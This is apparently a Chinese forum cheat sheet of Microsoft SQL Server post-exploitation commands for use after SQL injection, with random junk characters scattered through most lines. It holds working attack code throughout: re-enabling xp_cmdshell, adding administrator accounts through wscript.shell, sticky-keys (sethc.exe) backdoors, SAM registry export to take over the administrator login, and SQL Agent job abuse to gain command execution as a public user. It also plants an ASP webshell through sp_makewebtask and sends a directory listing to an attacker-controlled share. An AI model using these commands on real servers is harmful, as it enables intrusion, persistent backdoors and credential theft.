1 未能找到存储过程'master..xpcmdshell'. EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号7 P2 A% B: H W- J9 M
恢复方法:查询分离器连接后,+ J" ]" e- z9 g4 b
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
$ R3 Y" J7 V; A# B0 o$ M) V' G8 N第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
3 B7 y( U- v I5 C0 |/ O+ R/ e然后按F5键命令执行完毕; v# g" E* ?/ R9 i5 q+ v8 z6 p
& e2 o' {& W, u9 D
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
( A0 \. n- U L2 T. V恢复方法:查询分离器连接后,9 o: V$ X$ K5 p* K$ L/ C) I4 o
第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"
5 @ V; `. |# c) ~第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
- h2 X5 L% \3 b然后按F5键命令执行完毕 ~! z2 L" y& E! A' C7 z* W3 X1 n
' }1 f* v, F. B, f- a0 Z
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
4 x" ~4 e6 I2 L5 i% C6 g4 O% y恢复方法:查询分离器连接后,) {& G% E/ R4 h+ A
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
+ t2 B$ q. k) [+ l9 b: h0 F第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
4 y" J7 h' D$ D0 S& N7 j: A然后按F5键命令执行完毕5 i& _0 s5 P0 G
% ?% M: b4 k5 l9 M
4 终极方法.
8 @( D5 F& Y5 B; @; x" v @如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
; [! e* o1 O8 w4 V' s查询分离器连接后,4 q ^9 [1 i. p! K) Q
2000servser系统:0 h) c+ C& s- r* K
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'* A, P( B3 g4 C& a, U& B+ s8 p
7 K! s0 A8 ^: N, L) A6 q
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'
" o# q. d p! p8 l4 i0 ~% k1 g \% }: F
xp或2003server系统:
4 O2 e1 n, S$ z# y& x& B
/ o5 c5 w- U* }+ o; ~declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add': [7 l4 w" x+ e" a6 {
2 p" {' V4 V0 P0 N7 C
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'
0 ]7 S' }4 D/ r
( L# H: A" _" G9 H$ d* ?& c" h+ [) x& |% N
五个SHIFT
( p! @9 p5 x' d+ s) }% Pdeclare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
7 G4 K- r: u! D6 d% G0 q% \% t7 J% B
+ D4 C2 U; ~* S# Q$ D0 b2 S" r$ [declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
# Z) s$ @+ f7 o5 j# h R
2 z+ T- F5 }2 }% d7 E1 ^0 Oxp_cmdshell执行命令另一种方法
" I. k( e/ Z, _: Z p9 Ddeclare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add' ' {7 O1 [9 s+ S4 b7 `
/ V9 j8 T" P3 @- _判断存储扩展是否存在* l' O# }/ W5 L
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
$ { b8 v) k/ o, s返回结果为1就OK3 g0 t* K7 [/ K; e
+ E+ O9 i9 t8 v8 X8 F# l7 e4 @
# N, H$ d e/ y% l7 F, D
上传xplog70.dll恢复xp_cmdshell语句:
, _: m2 @) Q2 G' tsp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'
9 ]/ p# p1 ]1 o. k- [$ c# v+ C& _9 V+ X
否则上传xplog7.0.dll
0 k7 u L* m9 u5 c. U0 VExec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'% j1 _: u6 { J& v8 u k
7 S/ I; K' o8 d" n; j% d0 p" g
9 Z4 G( i! v, l }9 [3 k0 i9 @( C3 R
首先开启沙盘模式:
" G8 g2 G7 L0 H" j9 Zexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',17 M8 S( ^ a3 R9 ]
- u2 u( ?0 v7 c4 u0 H8 e) H! }- g
然后利用jet.oledb执行系统命令
9 f/ j! F8 L/ |select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
: F0 L' d: Y4 r! o& J% G返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1-- 发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了# p# Y$ |: f! r4 Y+ g8 f
5 N9 n* q5 }+ G9 \' ~ \' y
1 B, _$ J5 D- g" z; \$ h' K( k& F/ A7 f1 s8 E! f9 C) G& {) y
恢复过程sp_addextendedproc 如下:
1 m8 w$ G% x" i; O* N- Dcreate procedure sp_addextendedproc --- 1996/08/30 20:13
/ ]% a% D6 ]2 w: s@functname nvarchar(517),/* (owner.)name of function to call */ ' l: v* R- B, F! R
@dllname varchar(255)/* name of DLL containing function */ / T- p* f( Y, p
as
( s# A9 ]: E4 ]$ ]. v2 xset implicit_transactions off ) c' s. e0 o0 G5 r7 s
if @@trancount > 0
( Z+ N$ F3 l; r' ]begin + C7 h9 b7 r ^) _% u
raiserror(15002,-1,-1,'sp_addextendedproc')
. k9 E* z/ ]7 d7 S/ Q! H ~; Areturn (1)
1 x5 s+ e- e5 s: _* Vend
2 N' y/ F/ D! |9 a, K" \/ n$ Rdbcc addextendedproc( @functname, @dllname)
4 v; Q" K) P1 R( v8 V# @- |' }return (0) -- sp_addextendedproc ( J2 I9 N7 `/ E; F
GO
! z5 A& ?4 g( ?( F$ N4 j: W& N! C% D% j' P( S
7 P- N/ p5 U, p/ v) _1 _5 Z3 h, Z4 B! C
: o% \3 |' u( `0 u$ _" `' p
导出管理员密码文件
4 h6 B) h, F9 X8 u: o: r7 V' Vsa默认可以读sam键.应该。
/ p( U( U J# `reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg2 t1 D+ o; G/ C' f& D+ m4 [ E4 c
net user administrator test6 A, Q' _/ z {0 ^ ?
用administrator登陆.4 z9 N3 P6 ]4 H' x- S+ ~! g% ^
用完机器后1 ]' R- M5 u: H
reg import c:\test.reg. F" i B& W) P8 g N
根本不用克隆.
& }% W, V2 Z" `8 m3 B; V找到对应的sid.
6 E( A& K" ?8 Q7 [
2 `; T0 L* ?+ q+ ^
+ a# y$ o9 E$ p
* ]# C; C* @# m; p% r/ }恢复所有存储过程( E7 n1 G$ a! f) h5 W; E
use master
c) A' g5 J$ G- s0 w% Jexec sp_addextendedproc xp_enumgroups,'xplog70.dll'
* m: f5 \. w; rexec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
5 C5 o, b: O/ f, x0 |) B4 Iexec sp_addextendedproc xp_loginconfig,'xplog70.dll'
3 i" p3 Z+ l$ Z8 n& U# qexec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
1 S+ |% h6 w' Z0 ~8 t8 eexec sp_addextendedproc xp_getfiledetails,'xpstar.dll' $ z' f6 r' ^9 u5 X
exec sp_addextendedproc sp_OACreate,'odsole70.dll' 5 n6 Z) F# i; e0 M
exec sp_addextendedproc sp_OADestroy,'odsole70.dll' 6 L# v4 @: x* F5 X# C$ O
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
5 A' F2 P* ~) N( `* m$ Hexec sp_addextendedproc sp_OAGetProperty,'odsole70.dll' ) d ^6 s2 W; o, o
exec sp_addextendedproc sp_OAMethod,'odsole70.dll' , F. A& l7 G/ a2 q
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll' , H: M5 ] l7 l0 ^
exec sp_addextendedproc sp_OAStop,'odsole70.dll'
: @8 s) ^: m* W/ K- Nexec sp_addextendedproc xp_regaddmultistring,'xpstar.dll' ! d) u' `9 F# h9 S5 G; |
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
K3 e4 I* p: I+ K' [exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll' / \& J. b r' O8 C" [" y. H
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll' ) ~( m! Z4 t* j! [7 [& X
exec sp_addextendedproc xp_regread,'xpstar.dll'
' g: a! R; F/ ?# ]' I, f7 Pexec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' 5 z! P1 P- j5 z( p+ H) m* {/ I
exec sp_addextendedproc xp_regwrite,'xpstar.dll'
, m: }# W& H4 |. r' Q: p, x; V( Dexec sp_addextendedproc xp_availablemedia,'xpstar.dll'# h6 G) E, h& E* S+ w7 S6 R
4 X c" W, r' o( F/ L ], {- F6 }
建立读文件的存储过程
) y( `) n$ ]4 F1 zCreate proc sp_readTextFile @filename sysname
- M$ V' I% f* \/ `' W- ?+ p9 r" jas; W% Q; ?' M& d& h& L) l! z
: E$ |" ~8 F0 g* ]2 F3 @ begin
- p2 R" i; v- e$ } set nocount on ; {7 k; S$ n& h; D% S
Create table #tempfile (line varchar(8000))* e/ u+ V8 w. @$ j! g
exec ('bulk insert #tempfile from "' + @filename + '"')8 Y. I* x6 _# @
select * from #tempfile7 B/ g6 N, m ~/ h7 Y
drop table #tempfile
+ q5 Y) i( T0 z& o" z' g# @1 zEnd
0 s' t( R: ]$ y
4 `( t) M2 ~4 s8 Mexec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件
% d& B7 F8 M5 r查看登录用户( t' \. X+ r6 w5 b9 b9 P) m% q
Select * from sysxlogins$ Z5 [+ r4 h" a/ s& J7 W
+ b2 c6 C. n$ c. g' \8 P, c2 Y# ]把文件内容读取到表中- W/ _8 H2 H, {0 L" r G0 J
BULK INSERT tmp from "c:\test.txt"2 Q# B! x* A5 U3 T# L
dElete from 表名 清理表里的内容
8 x/ R6 X% u' E* e/ C8 Jcreate table b_test(fn nvarchar(4000));建一个表,字段为fn
$ p5 b$ {1 I; @* k% Z1 {& m& h7 p% B) w5 C: n
* |% T9 _! f' h H: ~: q; \加sa用户
; ^6 M: B2 F6 j4 ^# `4 ? eexec master.dbo.sp_addlogin user,pass;
3 w9 q. Z/ f. n# M' {/ o5 B) ]exec master.dbo.sp_addsrvrolemember user,sysadmin% \, V8 w9 {2 _0 q4 T0 K/ e
" D9 U* P) C) g
+ d- r3 v0 j) H/ }
6 ?2 [. i% R9 v |读文件代码6 X- f7 c( Y, O2 b7 {2 E
declare @o int, @f int, @t int, @ret int
2 J- Y1 i: L' u) U# U: a. @declare @line varchar(8000)
! h: w" R% Q/ t5 B$ ]exec sp_oacreate 'scripting.filesystemobject', @o out
2 m6 ~0 {2 j/ b! `1 yexec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1
& p! D7 W% x A0 Q& R, H0 n8 qexec @ret = sp_oamethod @f, 'readline', @line out
) {3 p5 g9 C7 H b- s. Xwhile( @ret = 0 )8 P/ ^3 |9 q1 P1 x! M$ W
begin
% U( s5 J; s3 J1 i; ` eprint @line4 ^$ Y6 F7 t0 s7 l) ]/ s& e( X$ a
exec @ret = sp_oamethod @f, 'readline', @line out- ~3 |3 }# P' i* b
end8 e3 o, { I5 [/ U: J
6 H- S" v: u# [! ]; j0 ~! P5 F& F% u3 c
写文件代码:9 G& p( D- E. ^( e2 [
declare @o int, @f int, @t int, @ret int/ v1 k; o; X+ j$ z8 W4 p+ O5 {. f
exec sp_oacreate 'scripting.filesystemobject', @o out
. l( Z5 Y7 ^% @4 pexec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1
6 I6 t7 ~3 H \2 {exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》, A% i- R# |' s% b+ z- ]0 y) K& t
( U; M- l0 c+ s% u% e- k
- K4 k" j) @% g+ M- ]/ }' [3 ~添加lake2 shell7 u, {3 R7 H. n* ?! s9 O8 @* B* h
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'
$ X6 B$ h2 ]) \! r- v! u1 \- Fsp_dropextendedproc xp_lake2" A7 U$ j4 B6 v/ i8 F8 u+ |$ c8 Z
EXEC xp_lake2 'net user'
4 @ y7 h: s0 k* E$ x8 U' C5 E9 q5 S5 q4 e+ _: p
3 M q4 ^0 h! P得到硬盘文件信息
( e, e+ ~. `# ^6 O--参数说明:目录名,目录深度,是否显示文件 / B& Y& C/ V7 w# c" `* }, e
execute master..xp_dirtree 'c:' ' @. C# e2 e* A& l, p5 G
execute master..xp_dirtree 'c:',1
n3 c# R9 `3 d3 Eexecute master..xp_dirtree 'c:',1,1 5 P& H+ K9 {: [7 C
% {; e1 w1 \8 D' B& z& p. E% C3 m& H z4 I H" r/ H" n
读serv-u配置信息! |) k/ ~5 d: O) _
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'2 W2 m, Z6 g; r) S- ^6 i( W
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'$ j" N/ _1 N% V+ s9 B
0 E; j% }3 w/ W. H S( ^
通过xp_regwrite写SHIFT后门
/ j) `8 d3 t! t- ?exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--
" ~: p: ^$ a; {5 h0 N( T! @7 P
% J9 ?7 ]& L* C) X
8 y4 t) z A2 h+ G: W: U找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';0 N% b8 M, }+ Q" D8 q5 W
exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了
" B1 T2 W4 O, d6 F( q) R% j5 {. Y2 r" G7 a/ U( f; M4 ]* ~
EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
]1 `/ U8 f4 ?/ x4 ]
# V8 K7 S1 A, j/ f8 q. s/ `9 F3 B' J: ]& x
. F# T+ h8 x7 E/ ]0 M- Y: Xsql server 2005下开启xp_cmdshell的办法
1 ? p6 @" s3 u) |" f: h D4 I1 h$ p8 _- i0 _, r" g
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;) K/ A9 V% T1 Y ^ v( R% D1 b
( f% y( J4 X7 c. FSQL2005开启'OPENROWSET'支持的方法:
, b2 D6 Z+ Q8 N3 N* N6 ]1 z" P" k# e; Q, _5 K# \
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
# Q+ k% W4 [" s% K' G3 ]. u+ Q
SQL2005开启'sp_oacreate'支持的方法:
4 |( T' u4 w' D6 |& l# M8 R& J B/ T/ D/ @7 x$ E
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
2 A5 l0 |# r- ^3 j. k" w0 T' J
& I5 A& A$ n7 N" c1 U" R; T; c! i
# k! O; c& K: o+ e4 w c* N( Z- N- w! v6 n1 L, m
- n4 R: s9 p% `/ p: J( o- ~+ E5 l" }5 G; }! F, u1 i5 E
; \/ n6 F6 w7 r; o) X
4 S) M9 p" T# e* K- w/ _9 w5 b8 Z+ s* J, h3 M$ u2 T
. r; t, F% z$ }" y
, R2 k8 Y# e/ J/ C/ E! y7 C1 F( s8 ]
5 H- p: I# l. w7 W, o3 e
% a# k9 k; D$ k7 P
' L) O, ?* Z. S9 u2 y1 V9 D3 J+ A# o* A* }8 Z
! }( f* m2 ?6 j2 r2 {) O* ?7 R) u) q; `, e
/ w( z( v# D1 I8 }! J( L! }3 v4 s* h. y8 U
! }" v. l: p% g6 w5 z# q2 R% f5 E; z' |5 @
6 d0 A" c+ A- ]% r# \
1 L6 Q% M2 ]# `6 s. X
0 _- d$ O' l! G4 a' U0 Z2 v0 t以下方面不知道能不能成功暂且留下研究哈:4 X0 N8 x( H& f9 m* ?, n9 G
4)
, C$ n% e y- l2 Vuse msdb; --这儿不要是master哟8 {6 L' J; g' n. a
exec sp_add_job @job_name= czy82 ;
$ j) H6 }9 u1 O' `, Y& D* oexec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;
) K1 D% ^+ f' \, ?0 lexec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;4 t5 U. i! c& s$ ]' G2 d+ y+ t: g
exec sp_start_job @job_name= czy82 ;* s% C1 F; C4 ?9 v- ~2 G, Z: U
/ L2 X, B4 P" `" O% `0 [; l
利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以
# M7 m: `0 H2 b8 I, q执行tsql语句了.
, G0 m4 v" ?' E4 v7 w9 w& z$ b( p对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名3 q: Q1 n, }# G& w+ m4 C
第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)
, ~; P; O* o1 G1 J$ D3 M9 U5 F: [5 Hnet start SQLSERVERAGENT
' j, C# J6 ^- _5 x+ J. M
' B# a3 h% J4 ]1 B- M6 a- y对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的/ T/ _+ b) s4 e2 X6 j
USE msdb# {( H$ K' H: X" H# A9 ]% W$ f
EXEC sp_add_job @job_name = GetSystemOnSQL ,$ ?0 Q/ M" d+ N# C0 b0 q# I
@enabled = 1,
* B9 N' ~$ u; b+ n* i@description = This will give a low privileged user access to
2 D8 W/ k" O9 {2 a4 {& |: i5 ^xp_cmdshell ,; @, z! y" D: n; G
@delete_level = 1
8 u) Z) _: r8 g4 YEXEC sp_add_jobstep @job_name = GetSystemOnSQL ,
" P0 k/ c& |' V( h& \' \@step_name = Exec my sql ,/ u P$ `( _2 j7 T( n/ c
@subsystem = TSQL ,- C Y7 e) E3 @5 C+ ?2 Q7 O
@command = exec master..xp_execresultset N select exec
! V. b$ b5 ?: H" l7 n I0 U7 n. Zmaster..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master
: b' ], N U3 ]9 Z3 {5 sEXEC sp_add_jobserver @job_name = GetSystemOnSQL ,
+ n( T* { a5 R6 U7 ]% c1 c3 ?@server_name = 你的SQL的服务器名 ; O2 Z. e+ i8 s6 u+ s
EXEC sp_start_job @job_name = GetSystemOnSQL
* }! ~3 O0 R& b2 |9 S
# o3 f, A) @5 \) o* R$ z不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以" M0 M+ {9 c8 i- S
才让我们可以以public执行xp_cmdshell
. V2 L7 x9 W, Z. z" W, V1 C7 }1 |: c! P/ [& F
5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)( _* \, E6 ^: B, Z
在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968
; M/ S% J7 X3 [& _2 d G
4 C& n* H2 k0 G. C- aUSE msdb4 E- S5 h' @, S' O* M
EXEC sp_add_job @job_name = ArbitraryFilecreate ,
/ E4 u1 ]: E* I+ z' H* e- h5 C@enabled = 1,! v7 ^" q+ d! b/ ^$ m( o$ P |
@description = This will create a file called c:\sqlafc123.txt ,7 \& ~: r+ S' J4 e, s
@delete_level = 1# `/ g$ |$ D$ V* Z/ Z6 t& i& Q
EXEC sp_add_jobstep @job_name = ArbitraryFilecreate ," Q+ y! W" V9 I1 K; f2 p% o: V
@step_name = SQLAFC ,
$ b: @. n C/ J: e@subsystem = TSQL ," t$ V7 b5 n4 e& t" M* v) j+ p
@command = select hello, this file was created by the SQL Agent. ,
8 V+ W! k( y7 U@output_file_name = c:\sqlafc123.txt
" o' C& I+ z& \3 _2 PEXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,
! L8 I& ]( a- I! \5 J" c6 f' n: c@server_name = SERVER_NAME
. Y, z4 N% A" u; j3 V. h% W) KEXEC sp_start_job @job_name = ArbitraryFilecreate
( G3 T2 c2 [$ _" c( w8 L, v4 V6 v& Y8 b
如果subsystem选的是:tsql,在生成的文件的头部有如下内容; E, t) i* J- ^9 U0 i& q( h
" p4 \# H' V2 \( i# o
??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:195 L9 m1 D" E9 }5 ~! b
----------------------------------------------5 B1 A6 x5 t6 m
hello, this file was created by the SQL Agent.9 Y* C, C4 f4 A9 z, i- E; `7 L
8 F( b/ R: t8 l
(1 ?????)
! z$ {; i. w0 {4 z0 N+ s7 U" X3 V0 {9 r, k6 t4 \3 ^
所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员
. @- o4 g8 x2 V% i2 I* A命令的vbs文件到启动目录!
8 C( m2 K$ h* g$ Q" `9 ^# V- B7 D3 ~3 K1 Y& W E
6)关于sp_makewebtask(可以写任意内容任意文件名的文件)
) T/ D! f, c+ K关于sp_MScopyscriptfile 看下面的例子+ x2 l6 c8 |+ m, k0 {) K& i& H6 u9 M; ~
declare @command varchar(100)
" Q" o u+ _2 f" h m) u0 [$ Sdeclare @scripfile varchar(200) 9 p1 o) ~5 P8 @# e) {6 |
set concat_null_yields_null off
* z8 o# u/ V$ K& B. {select @command= dir c:\ > "\\attackerip\share\dir.txt"
; \ }2 G4 Q: ^select @scripfile= c:\autoexec.bat > nul" | @command | rd "
* w1 C1 f" [$ ^/ \3 n! `3 g5 nexec sp_MScopyscriptfile @scripfile , ! Z5 m: v6 B. c
6 ]2 g6 S! i. [. b9 ]7 X
这两个东东都还在测试试哟
- g8 c9 `$ \7 ?让MSSQL的public用户得到一个本机的web shell + }" Z% S' K5 D: j7 s9 E
' y) a! u3 N0 U( v2 ~' Q2 K
sp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,
% F0 V3 ?2 }6 N5 B. J--@query= select <img src=vbscript:msgbox(now())> + y7 l' P6 r9 s* p' b; J
--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
! k: ~; b3 ~2 x9 b@query= select
1 q5 |- E3 y1 k( X9 e<%On Error Resume Next t* a0 N6 ^% a3 U7 O7 `! K8 h
Set oscript = Server.createObject("wscript.SHELL") ! h) y1 v% q2 }1 @6 M
Set oscriptNet = Server.createObject("wscript.NETWORK")
5 i; a: h* h( u6 Y- l5 B: w* _Set oFileSys = Server.createObject("scripting.FileSystemObject")
1 ]5 ^5 q' Z9 K5 m* ?. CszCMD = Request.Form(".CMD") " r: l3 R6 Q) l+ M0 ^$ }
If (szCMD <>"")Then 6 b8 s+ M8 }) b& r6 k
szTempFile = "C:\" & oFileSys.GetTempName() 6 h4 \* {. x- ]$ U* B) Z# q
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
" T% U/ E! _. b- U. t( U" G2 K+ `- xSet oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0)
0 s9 N, R+ x- ?End If %> 6 ?; R2 a; O( Q- G4 m# J$ ^
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method=" OST">
) y' Q! `$ ~2 q. ?<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run"> % c6 v2 _6 ~6 w+ e" \5 J
</FORM>< RE> 2 g2 t( H8 |4 a& {+ d
<% If (IsObject(oFile))Then
9 `* Q* B: |- L& W9 [1 l2 p* {On Error Resume Next $ ~+ |$ k- H/ l# D; H* F
Response.Write Server.HTMLEncode(oFile.ReadAll)
% r. O [& |+ v; ~1 K+ r5 e+ X9 a; r9 |oFile.Close 4 x6 n R. i9 {, e
Call oFileSys.deleteFile(szTempFile, True)
6 y* W# J1 l% N% }9 y- u2 B8 q: ]End If%>
1 k- V. C# d! C$ h5 E- i: `5 y</BODY></HTML>
) W+ [. r/ a7 J+ P* i& r |